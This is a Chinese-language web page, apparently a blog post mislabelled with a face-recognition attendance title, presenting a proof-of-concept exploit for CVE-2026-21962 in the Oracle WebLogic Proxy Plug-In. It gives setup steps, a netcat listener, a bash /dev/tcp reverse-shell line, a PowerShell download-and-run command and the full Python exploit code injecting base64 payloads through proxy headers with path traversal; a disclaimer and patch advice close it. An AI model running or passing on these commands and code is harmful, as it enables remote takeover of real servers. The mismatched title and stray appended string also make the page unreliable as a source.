离线人脸识别考勤系统:dlib+SQLite+wxPython实战部署
2026/9/15 2:22:10
该项目提供了一个针对Oracle WebLogic Server代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。
影响组件:
/weblogic/、/wl_proxy/、/bea_wls_internal/、/_proxy/、/proxy/)探测目标系统是否存在漏洞requests库克隆或下载项目文件
gitclone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.gitcdAshwesker-CVE-2026-21962安装Python依赖
pipinstallrequests设置执行权限(可选)
chmod+x CVE-2026-21962.py运行以下命令验证安装是否成功:
python3 CVE-2026-21962.py --help如果看到帮助信息,说明安装成功。
python3 CVE-2026-21962.py<target_url>"<command>"target_url:目标服务器的URL(例如:http://target:7001或https://oracle-server:4443)command:要执行的命令(例如:id、whoami或反向Shell命令)执行系统命令来验证漏洞:
python3 CVE-2026-21962.py http://target:7001"id && whoami && uname -a"python3 CVE-2026-21962.py http://target:7001"ls -la / && df -h"首先在攻击机启动监听:
nc-lvnp4444然后执行漏洞利用:
python3 CVE-2026-21962.py http://target:7001"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"python3 CVE-2026-21962.py https://oracle-server:4443"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"defexploit(target_url,command):# 漏洞利用端点(常见代理插件路径)vuln_paths=["/weblogic/","/wl_proxy/","/bea_wls_internal/","/_proxy/","/proxy/"]# 构造触发反序列化/命令注入的恶意头部# 实际触发使用特制的WL-Proxy-Client-IP或类似头部# 结合绕过验证的特制URIpayload=f"cmd:{command}"# Base64编码Payload以绕过WAF/过滤器encoded_payload=base64.b64encode(payload.encode()).decode()# 构造恶意HTTP头部headers={"WL-Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","X-Forwarded-For":f"127.0.0.1;{encoded_payload}","User-Agent":"Mozilla/5.0 (compatible; Exploit/1.0)","Accept":"*/*","Connection":"close"}# 触发插件漏洞的特制URIuri="/weblogic/..;/bea_wls_internal/ProxyServlet"# 尝试所有可能的漏洞路径forbase_pathinvuln_paths:full_url=f"{target_url.rstrip('/')}{base_path}{uri}"print(f"[*] 尝试路径:{full_url}")print(f"[*] 执行命令:{command}")try:# 使用GET请求,某些配置下POST也可用r=requests.get(full_url,headers=headers,timeout=12,verify=False,allow_redirects=False)# 根据HTTP状态码判断是否成功ifr.status_codein[200,302,500]:print(f"[+] 可能成功!状态码:{r.status_code}")ifr.text.strip():print("\n可能的命令输出/响应:\n"+"-"*60)print(r.text[:1500])# 显示前1500字符避免信息过多print("-"*60)else:print("[+] 命令静默执行(无输出)")returnTrueelse:print(f"[-] 状态码{r.status_code}- 此路径无漏洞")exceptExceptionase:print(f"[-] 路径{full_url}错误:{e}")print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")returnFalseif__name__=="__main__":# 创建参数解析器parser=argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")# 目标URL参数parser.add_argument("target",help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")# 命令参数parser.add_argument("cmd",help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")# 解析参数并执行漏洞利用args=parser.parse_args()exploit(args.target,args.cmd)# 漏洞检测的核心逻辑# 1. 构造包含恶意命令的Payload# 2. 使用Base64编码绕过基本防护# 3. 通过多个HTTP头部字段注入Payload# 4. 使用路径遍历技术访问代理Servlet# 5. 分析响应判断漏洞是否存在# 关键点:# - 使用分号分隔IP地址和命令Payload# - 尝试多个可能的代理插件路径# - 支持HTTP和HTTPS协议# - 包含完善的超时和错误处理# 重要安全提示:# 1. 此工具仅用于授权的安全测试# 2. 在非授权系统上使用是非法的# 3. 使用前需获得明确书面授权# 4. 遵守所有适用法律法规# 技术建议:# 1. 及时应用Oracle 2026年1月关键补丁更新# 2. 限制对受影响服务的网络访问# 3. 监控HTTP流量中的可疑行为# 4. 定期审查系统日志和安全控制措施该工具设计用于以下受影响版本:
免责声明: 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)